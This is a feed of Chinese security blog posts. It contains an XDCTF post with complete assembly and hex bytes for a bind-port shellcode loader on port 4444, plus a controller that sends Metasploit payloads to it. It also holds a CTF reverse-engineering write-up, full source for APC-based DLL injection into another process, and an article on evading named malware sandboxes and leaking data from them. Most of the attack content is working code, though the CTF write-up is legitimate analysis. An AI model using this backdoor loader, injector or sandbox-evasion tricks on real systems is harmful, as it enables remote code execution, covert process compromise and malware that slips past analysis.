    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

看到call/pop是不是很熟悉的感觉?其实就是把fnFunctionCaller的地址弹给ebp,然后在压入函数参数和一个HASH值,接着call ebp。这里的fnFunctionCaller就像是一个Wrapper,fnFunctionCaller里面的代码逻辑为:通过PEB的InMemoryOrderModuleList链表遍历每一个DLL,根据DLL的名字(如Kernel32.dll)计算出一个HASH值A,然后遍历每个DLL的导出表,计算每个通过名字导出的函数的名字计算出另一个HASH值B,通过A+B=C计算出哈希值的和C,然后通过传入的hash参数进行对比,相等就获取这个函数的地址。接着通过合适的处理栈,使得之前传过来的参数刚刚设置为这个函数的额参数结构,返回地址则返回到call ebp的下一条指令所在的位置,然后就调用了函数了。

ShellCode Framework Analysis

ShellCode Framework Analysis

ShellCode主要的代码逻辑就位于kMainFun函数里面,我们保留其中有用的部分,把accept之后的代码删掉,现在需要添加自己的逻辑了:使用VirtualAlloc分配足够大小的带可执行属性的空间、接收来自控制端的ShellCode、判断接收是否正确、创建新线程执行ShellCode、等待线程执行完毕。这样不断的循环即可。

这里本来是先调用HeapAlloc,然后调用VirtualProtect来修改属性的,只是后来发现HeapAlloc被重定向到了RtlAllocateHeap,然后也就不知道为何就异常了,不过后来发现VirtualAlloc更加简单。

;=========================================================
;kMainFun函数
;=========================================================
kMainFun proc
    pop     ebp         ; EBP = fnFunctionCaller
    push    '23'
    push    '_2sw'      ; ws2_32
    push    esp
    push    726774Ch    ; LoadLibrary的HASH值
    call    ebp         ; 调用LoadLibrary加载ws2_32.dll
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov     eax, 190h
    sub     esp, eax    ; 分配栈空间
    push    esp
    push    eax
    push    6B8029h
    call    ebp         ; 调用WSAStartup 进行socket初始化
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    eax
    push    eax
    push    eax
    push    eax
    inc     eax
    push    eax
    inc     eax
    push    eax
    push    0E0DF0FEAh
    call    ebp         ; 调用WSASocketA创建一个socket
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov     edi, eax
    xor     ebx, ebx
    push    ebx
    push    5C110002h   ; 0002-AF_INET  5C11-4444端口
    mov     esi, esp
    push    10h
    push    esi
    push    edi
    push    6737DBC2h
    call    ebp         ; 调用bind函数在4444端口进行绑定
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; 分配栈空间保留相关变量
    mov     ecx, 100h
loc_alloc_stack_mem:
    push    0h
    loop    loc_alloc_stack_mem
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    ebx
    push    edi
    push    0FF38E9B7h
    call    ebp         ; 调用listen开始监听
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
loc_wait_connect:
    push    ebx         ; 保存ebx
    push    edi         ; 保存edi
 
    push    ebx
    push    ebx
    push    edi
    push    0E13BEC74h
    call    ebp         ; 调用accept等待客户端的连接请求
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov [esp+50h], eax  ; [变量]保存客户端socket
 
loc_wait_shellcode:
    ; 分配堆空间
    push    40h         ; PAGE_EXECUTE_READWRITE
    push    1000h       ; MEM_COMMIT
    push    19000h      ; 100KB
    push    0h          ; lpAddress
    push    0E553A458h
    call    ebp         ; VirtualAlloc
    mov     [esp+54h], eax  ; [变量]保存hMem
    ; 接收ShellCode内容
    push    0           ; flags
    push    18FFFh      ; len
    push    [esp+54h+8h]; buf
    push    [esp+50h+0Ch]; socket
    push    5FC8D902h
    call    ebp         ; recv 接收shellcode内容
    ; 判断是否出错
    cmp     eax, 0FFFFFFFFh ; 返回-1表示出错了
    jz      loc_over
    cmp     eax, 0h
    jnz     loc_run_shellcode   ; 接收到了数据
    ; 没有接收到任何数据,视为出错了
    ; 先回收空间
    push    4000h       ; MEM_DECOMMIT
    push    19000h      ; 100KB
    push    [esp+54h+8h]; buf
    push    300F2F0Bh
    call    ebp         ; 调用VirtualFree
    jmp      loc_over
    ; 创建新线程
loc_run_shellcode:
    push    0h          ; lpThreadId = NULL
    push    0h          ; dwCreationFlags = 立即执行
    push    0h          ; lpParameter = NULL
    push    [esp+54h+0Ch]; lpStartAddress = buffer
    push    0h          ; dwStackSize = 0
    push    0h          ; lpThreadAttributes = NULL
    push    0160D6838h   
    call    ebp         ; 调用CreateThread执行ShellCode
    mov     [esp+58h], eax; [变量]保存hThread
    ; 等待线程结束
    push    0FFFFFFFFh  ; INFINITE
    push    [esp+58h+4h]; hThread
    push    601D8708h   
    call    ebp         ; WaitForSingleObject
    ; 回收空间
    push    4000h       ; MEM_DECOMMIT
    push    19000h      ; 100KB
    push    [esp+54h+8h]; buf
    push    300F2F0Bh
    call    ebp         ; 调用VirtualFree
    ; 等待下一个发送内容
    jmp     loc_wait_shellcode  ; 等待下一段ShellCode
 
loc_over:               ; 准备下一轮连接
    pop     edi         ; 恢复edi
    pop     ebx         ; 恢复ebx
    jmp     loc_wait_connect    ; 等待下一个连接
 
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    0
    push    6F721347h
    call    ebp         ; 调用ExitProcess退出进程
kMainFun endp

这里函数名字的HASH值需要自己计算(计算的汇编指令前面已经有了,抠出来就行,根据DLL名字以及API名字就能计算出HASH值),然后需要分配一定的栈空间用于保存变量,比如accept返回的socket句柄,在recv shellcode的时候就要用到,这些局部变量的引用要注意之前是否有参数压栈来调整与esp寄存器的距离。做的完美一点可以使用VirtualFree回收空间,这样的话一定要记得使用WaitForSingleObject等待线程结束。

写好汇编代码之后,用MASM32编译了一下代码,执行测试OK。这时候就需要使用16进制编辑器提取出二进制代码了。此时还剩下最后一步,就是调整部分字节,因为这里用到了函数,所以会提取出两段代码进行拼接,而编译器在编译的时候这两段代码之间是有距离的,所以最后要调整call指令的跳转距离。如果不会算的话可以先把ShellCode内嵌到C中编译,然后使用OD反汇编的时候进行汇编指令修改即可,最后把call kMainFun对应的机器码调整为\xE8\x89\x00\x00\x00。

最后使用内联汇编进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <windows.h>
 
#pragma comment(linker, "/subsystem:windows")
 
unsigned char kshell[] =
"\xFC\xE8\x89\x00\x00\x00\x60\x8B\xEC\x33\xD2\x64"
"\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28"
"\x0F\xB7\x4A\x26\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0\x52\x57"
"\x8B\x52\x10\x8B\x42\x3C\x03\xC2\x8B\x40\x78\x85"
"\xC0\x74\x4A\x03\xC2\x50\x8B\x48\x18\x8B\x58\x20"
"\x03\xDA\xE3\x3C\x49\x8B\x34\x8B\x03\xF2\x33\xFF"
"\x33\xC0\xAC\xC1\xCF\x0D\x03\xF8\x38\xE0\x75\xF4"
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24"
"\x03\xDA\x66\x8B\x0C\x4B\x8B\x58\x1C\x03\xDA\x8B"
"\x04\x8B\x03\xC2\x89\x44\x24\x24\x5B\x5B\x61\x59"
"\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86"
"\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54"
"\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x2B\xE0\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50"
"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0"
"\xFF\xD5\x8B\xF8\x33\xDB\x53\x68\x02\x00\x11\x5C"
"\x8B\xF4\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF"
"\xD5\xB9\x00\x01\x00\x00\x6A\x00\xE2\xFC\x53\x57"
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x57\x53\x53\x57"
"\x68\x74\xEC\x3B\xE1\xFF\xD5\x89\x44\x24\x50\x6A"
"\x40\x68\x00\x10\x00\x00\x68\x00\x90\x01\x00\x6A"
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\x44\x24\x54"
"\x6A\x00\x68\xFF\x8F\x01\x00\xFF\x74\x24\x5C\xFF"
"\x74\x24\x5C\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8"
"\xFF\x74\x5C\x83\xF8\x00\x75\x17\x68\x00\x40\x00"
"\x00\x68\x00\x90\x01\x00\xFF\x74\x24\x5C\x68\x0B"
"\x2F\x0F\x30\xFF\xD5\xEB\x40\x6A\x00\x6A\x00\x6A"
"\x00\xFF\x74\x24\x60\x6A\x00\x6A\x00\x68\x38\x68"
"\x0D\x16\xFF\xD5\x89\x44\x24\x58\x6A\xFF\xFF\x74"
"\x24\x5C\x68\x08\x87\x1D\x60\xFF\xD5\x68\x00\x40"
"\x00\x00\x68\x00\x90\x01\x00\xFF\x74\x24\x5C\x68"
"\x0B\x2F\x0F\x30\xFF\xD5\xE9\x70\xFF\xFF\xFF\x5F"
"\x5B\xE9\x59\xFF\xFF\xFF";
 
int WINAPI WinMain(
    HINSTANCE hInstance, 
    HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, 
    int nShowCmd )
{
    DWORD dwTemp = 0;
    VirtualProtect(
        kshell, 
        sizeof(kshell), 
        PAGE_EXECUTE_READWRITE, 
        &dwTemp);
 
    __asm
    {
        lea eax, kshell
        push eax
        ret
    }
 
    return 0;
}

现在就可以编写控制端进行测试啦,注意因为这里通过创建新线程执行ShellCode,而且会等待新线程结束,所以发送过去的ShellCode就不要弹出MessageBox了,否则就把被控端的执行逻辑给卡死了。还有就是在使用Metasploit生成测试Shellcode的时候,退出方式选择thread,千万不要选process,因为那样就把被控端给kill掉了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "ws2_32")
 
#pragma comment(linker, "/subsystem:console")
 
// 因为通过创建新线程执行Shellcode
// 所以Shellcode的退出方式最好是退出线程
// 以保证还可以继续接收和执行其他shellcode
unsigned char shellcode_calc[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
"\x2e\x65\x78\x65\x00";
 
unsigned char shellcode_cmd[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"
"\x65\x78\x65\x00";
 
int main(int argc, char **argv)
{
    WSADATA wsad;
    SOCKET sHost;
    SOCKADDR_IN servAddr;
    int retVal;
 
    if (WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
    {
        printf("初始化套接字失败!\n");
        return -1;
    }
 
    sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    
    if(INVALID_SOCKET == sHost)
    {
        printf("创建套接字失败!\n");
        WSACleanup();
        return  -1;
    }
 
    char szip[64] = {0};
    printf("请输入被控端IP地址:");
    scanf("%s", szip);
    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(szip);
    servAddr.sin_port = htons(4444);
    int nServAddlen = sizeof(servAddr);
 
    retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr));    
    if(SOCKET_ERROR == retVal)
    {
        printf("连接服务器失败!\n");    
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
 
    //向服务器发送数据
    printf("\n准备发送弹出计算器的Shellcode\n");
    retVal = send(sHost, (char *)shellcode_calc, sizeof(shellcode_calc), 0);
    if (SOCKET_ERROR == retVal)
    {
        printf("发送弹出计算器的Shellcode失败!\n");
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
    printf("按Enter发送下一段Shellcode\n");
    system("pause");
 
    //向服务器发送数据
    printf("\n准备发送弹出CMD的Shellcode\n");
    retVal = send(sHost, (char *)shellcode_cmd, sizeof(shellcode_calc), 0);
    if (SOCKET_ERROR == retVal)
    {
        printf("发送弹出计算器的Shellcode失败!\n");
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
 
    printf("测试完毕,准备退出!\n");
    system("pause");
 
    closesocket(sHost);
    WSACleanup();
 
    return 0;
}

最终效果截图:

XDCTF ShellCode

ShellCode控制端与被控端测试



本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [XDCTF]Shellcode DIY
作者:代码疯子

[HDUSEC CTF]逆向分析Final

$
0
0

这是杭州电子科技大学信息安全竞赛(HDUSEC CTF)一个比较坑爹的题目,运行程序之后电脑就自动关了,如果直接在真机测试,那丢点数据也在所难免了,呵呵~ (注:本文是在比赛结束后发的

这个时候,你很可能拿起你的OD准备动手了,可是当你刚载入OD的那一瞬间,屏幕又黑了,看了看主机箱,擦,灯灭了,电脑有关了,这尼玛不是坑爹么!

别哭,开机继续搞!把程序载入PEiD,看,有TLS呢!当然啦,大概就猜TLS里面有坑爹的代码。这个TLS可以看也可以不看的,但是出于好奇心,我还是忍不住看了下。那还是用IDA看一下这个样本吧。载入IDA分析,看一下导出表,有个TlsCallback_0,就是这货调用了sub_4013B0函数,对调试器进行了检测。

Tls回调函数调试器进程检测

Tls回调函数调试器进程检测


其实在检测进程之前就注定要关机了:通过调用RtlAdjustPrivilege和ZwShutdownSystem两个函数实现瞬间关机,可以自己去网上找一下相关介绍,ZwShutdownSystem这个字符串是解密出来的,和后面的一种解密方法一致(后文提到的内联汇编代码)。

还是先看下Main函数吧,在start函数中,如果你熟悉运行库的启动代码,你就可以快速确定sub_4010A0就是main函数,不知道也没关系,可以看一下《MSVC CRT运行库启动代码分析》。

分析一下main函数,发现这货会解密两个字符串,就是Kernel32.dll和IsDebuggerPresent了,动态获取函数地址然后调用一下看看是不是被爆菊ing:

使用IsDebuggerPresent检测调试器

使用IsDebuggerPresent检测调试器

我们去看sub_401240这个函数,进去看看发现又是在解密,还在打印key呢,好开森啊!

解密出来的假的KEY

解密出来的假的KEY


写个程序算一下,输出的结果是这样的:
18118806718727666771776122771028512219102806977728066103767266872929
怎么发现不太对呢?这不是key啊,你他妈在逗我!!!

擦擦擦!再用IDA看一下字符串,发现还有点问题:

IDA字符串分析

IDA字符串分析


I am the Key!! 好像有点意思!去看看在哪里被引用了。通过IDA的交叉引用功能找到sub_401390,然后继续往上找到sub_4012E0,而在sub_4012E0中又发现了sub_401320,尼玛这货又在解密。
数据解密

数据解密

解密方式还不是简单的异或运算,稍微变换了下。还是看汇编代码吧:

.text:00401333 loc_401333:                             ;
.text:00401333                 xor     ecx, ecx
.text:00401335
.text:00401335 loc_401335:                             ;
.text:00401335                 mov     dl, byte_403078[ecx]
.text:0040133B                 mov     al, cl
.text:0040133D                 mov     bl, 2Bh
.text:0040133F                 imul    bl
.text:00401341                 add     dl, 80h
.text:00401344                 add     al, 4
.text:00401346                 xor     dl, al
.text:00401348                 mov     byte_403988[ecx], dl
.text:0040134E                 inc     ecx
.text:0040134F                 cmp     ecx, 5A9h
.text:00401355                 jl      short loc_401335
 
.text:00401357                 movsx   eax, byte_40303A
.text:0040135E                 movsx   edx, byte_40302C
.text:00401365                 push    offset byte_403988
.text:0040136A                 mov     byte_403988[ecx], 0
.text:00401371                 movsx   ecx, byte_403026
.text:00401378                 push    eax             ; y
.text:00401379                 push    ecx             ; e
.text:0040137A                 push    edx             ; k
.text:0040137B                 push    offset aCCCS    ; "%c%c%c:%s"
.text:00401380                 call    ds:printf

可以看到前面是对数据块byte_403078的解密操作,大小为0x5A9,解密完之后输出key:解密后的内容。现在去byte_403078提取0x5A9大小的数据,然后内联汇编解密吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <iostream>
using namespace std;
 
int main(int argc, char **argv)
{
	const int size = 0x5A9;
	unsigned char src[size] = { 0 };
	unsigned char dst[size] = { 0 };
 
	FILE *fp = fopen("data.bin", "rb");
	fread(src, size, 1, fp);
	fclose(fp);
 
	__asm
	{
		xor     ecx, ecx
doDecrypt :
		mov     dl, src[ecx]
		mov     al, cl
		mov     bl, 2Bh
		imul    bl
		add     dl, 80h
		add     al, 4
		xor     dl, al
		mov     dst[ecx], dl
		inc     ecx
		cmp     ecx, 5A9h
		jl      short doDecrypt
	}
 
	printf("%s\n", dst);
 
	return 0;
}

打印出来是个啥?是KEY吗?显然不是,没图说个JB,看图:

解密后的数据

解密后的数据

又是一堆16进制数据,复制出来转成文件吧(就是让文件的16进制内容就是长这个样子),C32Asm有个特别粘贴功能(ASCII Hex),很好用!看一下文件内容,凭感觉判断吧:

解密后的数据内容

解密后的数据内容


看到Key.txt以及那个感叹号,你应该自信的想到这个是个RAR文件(你凭什么这么自信?不好意思我用了飘柔),那就加上Rar标志吧,然后保存为rar文件,尼玛又怒了,要密码啊,爆破都不行,你TM又在逗我!

等等,Key.txt很小的样子,RAR后还附加有数据,你还看到了IHDR和IEND以及那个‰符号,你又应该自信的想到这是一个PNG图片:

PNG数据

PNG数据


那就把第2、3、4字节改成PNG吧,把附加数据段单独提取出来保存。图片显示7.20,这货难道就是解压密码?真的是,这回没有逗我了,拿到KEY为cbklgcdm43ch96dsfCJ5dnGLQOnzfiS

至此,终于戳穿了对方的各种伎俩!纯静态分析实现本题Crack。收工?等等,做个广告《5月1日前注册的GitHub账号可领取20元


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [HDUSEC CTF]逆向分析Final
作者:代码疯子

通过异步过程调用(APC)注入DLL

$
0
0

关于APC的介绍,可以参考MSDN对Asynchronous Procedure Calls的介绍(索引APCs),下面是简单翻译的一段文字。

APC(Asynchronous Procedure Calls,异步过程调用)是指在一个特定的线程环境中异步的执行代码。当一个APC被添加到一个线程的APC队列的时候,系统会产生一个软中断;当线程下一次被调度的时候APC函数将被执行。操作系统产生的APC称为内核模式APC,应用程序产生的APC称为用户模式APC。只有当线程处于可唤醒状态(alertable state),用户模式的APC才会被执行。

每一个线程都有自己的APC队列,应用程序可以通过调用QueueUserAPC来队列中插入APC。当一个用户模式的APC插入APC队列之后,与之关联的线程并不会立即执行APC函数,除非线程进入可唤醒状态。当线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx这些函数的时候会进入可唤醒状态。如果在APC插入队列之前线程已经进入等待状态,那么APC函数将不会被执行,但APC会仍然存在于队列之中,所以APC函数将会在线程下一次进入可唤醒状态的时候被执行。

如果要通过QueueUserAPC来注入DLL模块,可以向指定进程的每一个线程(增加执行机会)都插入一个APC,然后把LoadLibrary作为APC函数的过程函数,把DLL路径字符串作为过程函数的参数。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
// ApcInjection.cpp
// Author: 代码疯子
// Blog: http://www.programlife.net/
#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string.h>
 
#define CHECK_NULL_RET(bCondition) if (!bCondition) goto Exit0
 
BOOL EnableDebugPrivilege(void)
{
	HANDLE hToken; 
	TOKEN_PRIVILEGES tkp;
	BOOL bRet = FALSE;
 
	bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	CHECK_NULL_RET(bRet);
 
	bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
	CHECK_NULL_RET(bRet);
	tkp.PrivilegeCount = 1;  
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	CHECK_NULL_RET(bRet);
	bRet = TRUE;
 
Exit0:
	CloseHandle(hToken);
	return bRet;
}
 
BOOL ApcInject(DWORD dwPid, CHAR *pszDllPath)
{
	HANDLE hProcess = NULL;
	BOOL bRet = FALSE;
	HANDLE hSnapshot = NULL;
	LPVOID lpDllName = NULL;
	DWORD dwResult = 0;
	THREADENTRY32 te32;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	lpDllName = VirtualAllocEx(hProcess, NULL, strlen(pszDllPath) + 1, 
		MEM_COMMIT, PAGE_READWRITE);
	CHECK_NULL_RET(lpDllName);
 
	bRet = WriteProcessMemory(hProcess, lpDllName, (LPVOID)pszDllPath, 
		strlen(pszDllPath) + 1, &dwResult);
 
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid);
	CHECK_NULL_RET((hSnapshot != INVALID_HANDLE_VALUE));
 
	te32.dwSize = sizeof(THREADENTRY32);
	bRet = Thread32First(hSnapshot, &te32);
	while (bRet)
	{
		if (te32.th32OwnerProcessID == dwPid)
		{
			HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
			if (hThread)
			{
				dwResult = QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpDllName);
				CloseHandle(hThread);
			}
		}
		te32.dwSize = sizeof(THREADENTRY32);
		bRet = Thread32Next(hSnapshot, &te32);
	}
 
Exit0:
	// VirtualFreeEx
	CloseHandle(hSnapshot);
	CloseHandle(hProcess);
 
	// Do NOT check this value
	return bRet;
}
 
int main(int argc, char **argv)
{
	if (argc != 3)
	{
		printf("Usage: %s PID DllPath\n", argv[0]);
		return 1;
	}
 
	ApcInject(atoi(argv[1]), argv[2]);
 
	return 0;
}

通过异步过程调用(APC)注入DLL
参考:《使用异步过程调用(APC)实现模块注入


本文地址: 程序人生 >> 通过异步过程调用(APC)注入DLL
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

也来谈谈沙箱逃逸技术

$
0
0

今天在微博上看到有大神发表了关于沙箱逃逸技术的文章针对沙箱检测的逃逸技术小讨论,让我想起来我也还有几个有意思的小技巧,所以也来凑个热闹。需要声明的一点是,本文将要讨论的问题是我很久之前所做的总结,当前是否有效我没有去验证,所以,如果你实际测试的时候发现方法失效了,也请保持冷静!

0×01. 进程检测技巧
许多文章都会提到通过检测进程名字的方式来判断当前环境是否是虚拟机,那么自然要去比较进程名字了,而获取当前进程列表也无外乎几个固定的套路。我发现在检测特定进程名字的时候,是会触发火眼的监控逻辑的。比如,一个盗号木马可能会去检测有没有QQ.exe,那么火眼会在报告中指出样本程序尝试去检测QQ.exe;而如果以同样的逻辑去检测虚拟机,效果就和预期的不太一致了,比如报告中会提示你的程序尝试去检测vmtoolsd.exe,呵呵!

绕过的方法也很简单,样本程序中不保存进程名字的明文,而是保存经过特定的运算之后的值(加密后的密文)。我们在获取到进程的名字之后,也要先进行一次这样的运算再判断。这种方法是我大学做病毒分析实习的时候在样本中学到的,大家可以在Google中搜一下explorer.exe的MD5值cde09bcdf5fde1e2eac52c0f93362b79。

0×02. 沙箱检测还可以这么玩
2.1 基于Windows ProductId检测
这也算是比较老的一种方法了,Windows ProductId位于注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion下的ProductID键。比如Anubis沙箱常见的值为76487-640-1457236-23837,去Google一下这个字符串就知道使用的普遍程度了。

这个方法针对Cuckoo Sandbox是没用的,Cuckoo Sandbox在执行sample之前会生成一个随机的ProductId来填充注册表。Malwr是基于Cuckoo构建的产品。这种检测行为会触发监控逻辑哟~

2.2 基于ComputerName检测
估计公司电脑的ComputerName大多是有规则的,或者是基于同一个镜像制作的虚拟机。比如我之前测试翰海源的文件B超的时候,发现其ComputerName都是xiaochen打头的。后来的后来,好像又出现了CHENHONG打头的,估计就是同一个人了。后面我会给出其他几家厂商的特征。

2.3 基于内存大小检测
有的厂商估计不太愿意浪费硬件,给沙箱只分配了少量内存,比如Anubis只给了128M,Comodo只给了256M,国内的翰海源和金山火眼则是512M。如果你的PC机只有这么小的内存,那只能说你是在是太节俭了。当然,考虑到有的服务器可能就是这个样子,所以怎么检测就看实际情况了。
同样的,基于硬盘大小去检测我想也是可以的。

2.4 基于样本路径检测
样本上传到沙箱之后,样本自身的路径也可以当做一个特征来检测。比如Comodo的沙箱(是的,不是HIPS,是在线沙箱)的样本路径固定位C:\TEST\sample.exe,这个就太明显了。

2.5 沙箱指纹测试小结
很早之前的数据了,测试了翰海源文件B超、金山火眼、Anubis、Comodo、Malwr,因为有些沙箱服务不太稳定,所以只测试了这几个。结果如图所示:
沙箱逃逸技术,沙箱指纹检测

0×03. 不联网也可以泄露数据
在上一小节中,我们提到通过在样本报告中泄露文字信息。对于没有联网的沙箱,我们该如何泄露机器中的文件数据呢?也是可以考虑将文件内容读取出来之后,写入到注册表中来触发监控行为,随后在报告中就可以看到了。不过这样可能会使得报告相当的长,就得看报告对长度有没有限制了。

在乌云上看到一个比较猥琐的技巧(火眼恶意代码分析系统自保机制绕过导致二进制泄露):将二进制数据写入图片的像素值,因为沙箱系统会对程序的界面截图并展示在报告中,所以可以通过对图片进行解码来提取二进制数据。
漏洞作者提供的测试样本报告:http://fireeye.ijinshan.com/analyse.html?md5=0a33548fd14458e10b773b1b2237e2fc#full

0×04. 沙箱检测小结
检测的方法其实可多了,当然不需要去一一列举,因为枚列举一条,可能过不了多久就不能用了,不仅如此,你的行为可能还会触发报警系统。不过核心思路就是:就特征而言,沙箱有的而别的机器却没有的,都可以当做指纹特征!就方法而言,你有的而别人没有的逃逸方法都是好方法!

欢迎大家在评论中进行讨论哦~另外给自己的微博做个广告 @HiWinson 欢迎关注~


本文地址: 程序人生 >> 也来谈谈沙箱逃逸技术
